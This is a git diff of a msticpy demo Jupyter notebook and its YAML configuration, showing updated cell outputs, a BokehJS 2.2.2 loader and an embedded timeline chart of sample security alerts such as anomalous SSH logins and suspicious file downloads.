c88dd3c2-d657-4eb3-b913-58d58d811a41 + TenantId: c88dd3c2-d657-4eb3-b913-58d58d811a41 + UseKeyring: true + VaultName: my-vault-name +UserDefaults: + # List of query providers to load + QueryProviders: + AzureSentinel: + Default: + alias: asi + connect: False + CyberSoc: + alias: soc + connect: False + Splunk: + connect: False + LocalData: + alias: local + # List of other providers/components to load + LoadComponents: + TILookup: + GeoIpLookup: + provider: GeoLiteLookup + Notebooklets: + query_provider: + LocalData: + workspace: CyberSoc + some_param: some_value + Pivot: + AzureData: + auth_methods: ['cli','interactive'] + connect: False + AzureSentinelAPI: + auth_methods: ['env','interactive'] + connect: False \ No newline at end of file diff --git a/nbdemo/msticpy demo.ipynb b/nbdemo/msticpy demo.ipynb index 0cd2cb5..3aa1578 100644 --- a/nbdemo/msticpy demo.ipynb +++ b/nbdemo/msticpy demo.ipynb @@ -32,7 +32,7 @@ }, { "cell_type": "code", - "execution_count": 1, + "execution_count": 8, "metadata": { "ExecuteTime": { "end_time": "2020-08-25T19:00:56.489718Z", @@ -44,14 +44,15 @@ "name": "stdout", "output_type": "stream", "text": [ + "msticpy version installed: 1.0.0rc4 latest published: 0.9.0\n", + "Latest version is installed.\n", "Processing imports....\n", "Checking configuration....\n", "No errors found.\n", - "\n", - "The following configuration warnings were found: \n", - " -------------------------------------------------\n", - "No AzureCLI section in settings.\n", - "Setting options....\n" + "No warnings found.\n", + "Exception while checking configuration:\n", + "cannot unpack non-iterable NoneType object\n", + "Setting notebook options....\n" ] }, { @@ -111,7 +112,7 @@ }, { "cell_type": "code", - "execution_count": 2, + "execution_count": 9, "metadata": { "ExecuteTime": { "end_time": "2020-08-25T19:00:56.569716Z", @@ -126,40 +127,12 @@ { "data": { "application/vnd.jupyter.widget-view+json": { - "model_id": "891f9cab29ca492c9341d2b3728788cf", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HTML(value='

Set query time boundaries

')" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "a57b53550bf148e4a5e4b93d3e38dbd8", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(DatePicker(value=datetime.date(2019, 2, 17), description='Origin Date'), Text(value='00:00:00',…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "282fabbce54346618cd3a4ba8b0a0d2a", + "model_id": "ff9d19a7fb0248ad8da2b43ab2628a0d", "version_major": 2, "version_minor": 0 }, "text/plain": [ - "VBox(children=(IntRangeSlider(value=(-3, 2), description='Time Range (day):', layout=Layout(width='80%'), max=…" + "VBox(children=(HTML(value='

Set query time boundaries

'), HBox(children=(DatePicker(value=datetime.date…" ] }, "metadata": {}, @@ -177,13 +150,12 @@ }, { "cell_type": "code", - "execution_count": 3, + "execution_count": 10, "metadata": { "ExecuteTime": { "end_time": "2020-08-25T19:00:56.839716Z", "start_time": "2020-08-25T19:00:56.571718Z" }, - "scrolled": false, "slideshow": { "slide_type": "slide" } @@ -219,7 +191,7 @@ "\n", "
\n", " \n", - " Loading BokehJS ...\n", + " Loading BokehJS ...\n", "
" ] }, @@ -389,7 +361,7 @@ " \"\"}};\n", "\n", " function display_loaded() {\n", - " var el = document.getElementById(\"1001\");\n", + " var el = document.getElementById(\"1831\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", @@ -455,7 +427,7 @@ " document.body.appendChild(element);\n", " }\n", "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", @@ -480,7 +452,7 @@ " }\n", "\n", " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", @@ -509,7 +481,7 @@ " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n", + " var cell = $(document.getElementById(\"1831\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", @@ -526,7 +498,7 @@ " }\n", "}(window));" ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1001\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1831\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1831\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" @@ -540,7 +512,7 @@ "\n", "\n", "\n", - "
\n" + "
\n" ] }, "metadata": {}, @@ -552,8 +524,8 @@ "(function(root) {\n", " function embed_document(root) {\n", " \n", - " var docs_json = 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%H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1886\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"fill_color\":{\"value\":\"#440154\"},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1889\",\"type\":\"Circle\"},{\"attributes\":{\"below\":[{\"id\":\"1848\"}],\"center\":[{\"id\":\"1851\"},{\"id\":\"1855\"}],\"left\":[{\"id\":\"1852\"},{\"id\":\"1939\"}],\"min_border_left\":50,\"plot_height\":200,\"plot_width\":900,\"renderers\":[{\"id\":\"1918\"},{\"id\":\"1924\"},{\"id\":\"1930\"},{\"id\":\"1936\"}],\"title\":{\"id\":\"1838\"},\"toolbar\":{\"id\":\"1862\"},\"x_range\":{\"id\":\"1840\"},\"x_scale\":{\"id\":\"1844\"},\"y_range\":{\"id\":\"1842\"},\"y_scale\":{\"id\":\"1846\"}},\"id\":\"1837\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"1836\"},{\"id\":\"1856\"},{\"id\":\"1857\"},{\"id\":\"1858\"},{\"id\":\"1859\"},{\"id\":\"1860\"}]},\"id\":\"1862\",\"type\":\"Toolbar\"},{\"attributes\":{},\"id\":\"1858\",\"type\":\"ResetTool\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1977\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1853\",\"type\":\"BasicTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1974\",\"type\":\"DaysTicker\"},{\"attributes\":{\"data\":{\"AlertName\":[\"Suspicious Activity Detected\",\"Suspicious system process executed\"],\"CompromisedEntity\":[\"\",\"\"],\"TimeGenerated\":{\"__ndarray__\":\"AABpfS2PdkIAAOeXvY52Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[2]},\"index\":[24,36],\"y_index\":[3,3]},\"selected\":{\"id\":\"1966\"},\"selection_policy\":{\"id\":\"1967\"}},\"id\":\"1835\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1975\",\"type\":\"DaysTicker\"},{\"attributes\":{\"data\":{\"AlertName\":[\"Security incident detected\",\"Potential attempt to bypass AppLocker detected\",\"Security incident with shared process detected\"],\"CompromisedEntity\":[\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\"],\"TimeGenerated\":{\"__ndarray__\":\"AICf1tKOdkIAAOeXvY52QgCAxhynjnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[3]},\"index\":[35,37,38],\"y_index\":[0,0,0]},\"selected\":{\"id\":\"1960\"},\"selection_policy\":{\"id\":\"1961\"}},\"id\":\"1832\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"label\":{\"value\":\"Medium\"},\"renderers\":[{\"id\":\"1936\"}]},\"id\":\"1938\",\"type\":\"LegendItem\"},{\"attributes\":{\"source\":{\"id\":\"1832\"}},\"id\":\"1892\",\"type\":\"CDSView\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1978\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"data\":{\"AlertName\":[\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"Detected suspicious file download\",\"Detected suspicious file download\",\"Security incident detected\",\"Detected suspicious file download\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"Detected suspicious file download\"],\"CompromisedEntity\":[\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"MSTICALERTSLXVM2\"],\"TimeGenerated\":{\"__ndarray__\":\"AIAT+OaPdkIAgBxB5Y92QgCAE/jmj3ZCAIAJyuePdkIAgFv45I92QgAAU2bmj3ZCAIAdr+SPdkIAgNWu5o92QgCA1a7mj3ZCAIAT+OaPdkIAgNWu5o92QgCAG9Plj3ZCAIDXiuWPdkIAAJgc5o92QgCA3tnpj3ZCAIAQa4uPdkIAgMu0i492QgAAR5CMj3ZCAAA5aYWPdkIAADN2g492QgAAglFFj3ZCAIB8ePSOdkIAgKxpCo92QgCA+/4qj3ZCAICFQ4SPdkIAgDv8g492QgCAPx+Fj3ZCAIADsoOPdkIAgECNhI92QgCAbNmEj3ZCAABO/YuPdkIAgNIhi492QgCAykaMj3ZCAAAh6ReQdkIAAPyeE5B2Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[35]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23,25,26,27,28,29,30,31,32,33,34,39,40],\"y_index\":[2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2]},\"selected\":{\"id\":\"1964\"},\"selection_policy\":{\"id\":\"1965\"}},\"id\":\"1834\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"end\":1550546937300.0,\"start\":1550082881700.0},\"id\":\"1840\",\"type\":\"Range1d\"},{\"attributes\":{\"data_source\":{\"id\":\"1834\"},\"glyph\":{\"id\":\"1899\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1900\"},\"selection_glyph\":null,\"view\":{\"id\":\"1902\"}},\"id\":\"1901\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1979\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1846\",\"type\":\"LinearScale\"},{\"attributes\":{\"source\":{\"id\":\"1833\"}},\"id\":\"1897\",\"type\":\"CDSView\"},{\"attributes\":{\"data_source\":{\"id\":\"1833\"},\"glyph\":{\"id\":\"1894\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1895\"},\"selection_glyph\":null,\"view\":{\"id\":\"1897\"}},\"id\":\"1896\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"axis\":{\"id\":\"1852\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"1855\",\"type\":\"Grid\"},{\"attributes\":{\"source\":{\"id\":\"1834\"}},\"id\":\"1931\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#FDE724\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1934\",\"type\":\"Diamond\"},{\"attributes\":{\"fill_color\":{\"value\":\"#35B778\"},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1899\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1980\",\"type\":\"YearsTicker\"},{\"attributes\":{\"label\":{\"value\":\"Low\"},\"renderers\":[{\"id\":\"1930\"}]},\"id\":\"1932\",\"type\":\"LegendItem\"},{\"attributes\":{\"overlay\":{\"id\":\"1909\"},\"x_range\":{\"id\":\"1840\"},\"y_range\":null},\"id\":\"1908\",\"type\":\"RangeTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1890\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1900\",\"type\":\"Circle\"},{\"attributes\":{\"data_source\":{\"id\":\"1834\"},\"glyph\":{\"id\":\"1928\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1929\"},\"selection_glyph\":null,\"view\":{\"id\":\"1931\"}},\"id\":\"1930\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"formatter\":{\"id\":\"1944\"},\"ticker\":{\"id\":\"1853\"},\"visible\":false},\"id\":\"1852\",\"type\":\"LinearAxis\"},{\"attributes\":{\"source\":{\"id\":\"1834\"}},\"id\":\"1902\",\"type\":\"CDSView\"},{\"attributes\":{\"data_source\":{\"id\":\"1832\"},\"glyph\":{\"id\":\"1889\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1890\"},\"selection_glyph\":null,\"view\":{\"id\":\"1892\"}},\"id\":\"1891\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1895\",\"type\":\"Circle\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"1969\"},{\"id\":\"1970\"},{\"id\":\"1971\"},{\"id\":\"1972\"},{\"id\":\"1973\"},{\"id\":\"1974\"},{\"id\":\"1975\"},{\"id\":\"1976\"},{\"id\":\"1977\"},{\"id\":\"1978\"},{\"id\":\"1979\"},{\"id\":\"1980\"}]},\"id\":\"1881\",\"type\":\"DatetimeTicker\"}],\"root_ids\":[\"1940\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n", + " var render_items = [{\"docid\":\"8b9e78e4-0ca2-47c8-9771-55c87e836b49\",\"root_ids\":[\"1940\"],\"roots\":{\"1940\":\"d70b33b7-88e1-4d5f-9a19-692226e91c95\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", @@ -580,7 +552,7 @@ }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { - "id": "1110" + "id": "1940" } }, "output_type": "display_data" @@ -588,7 +560,7 @@ { "data": { "application/vnd.jupyter.widget-view+json": { - "model_id": "992da797193c4d629ed461d66dc913a4", + "model_id": "b73d7f7c4a884511b1f8bde0a62cbf20", "version_major": 2, "version_minor": 0 }, @@ -615,15 +587,15 @@ "data": { "text/html": [ "\n", - "

Alert: 'Potential attempt to bypass AppLocker detected'

\n", - " Alert_time: 2019-02-14 11:51:38,\n", - " Compr_entity: MSTICALERTSWIN1,\n", - " Alert_id: 2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f\n", + "

Alert: 'Possible suspicious scheduling tasks access detected'

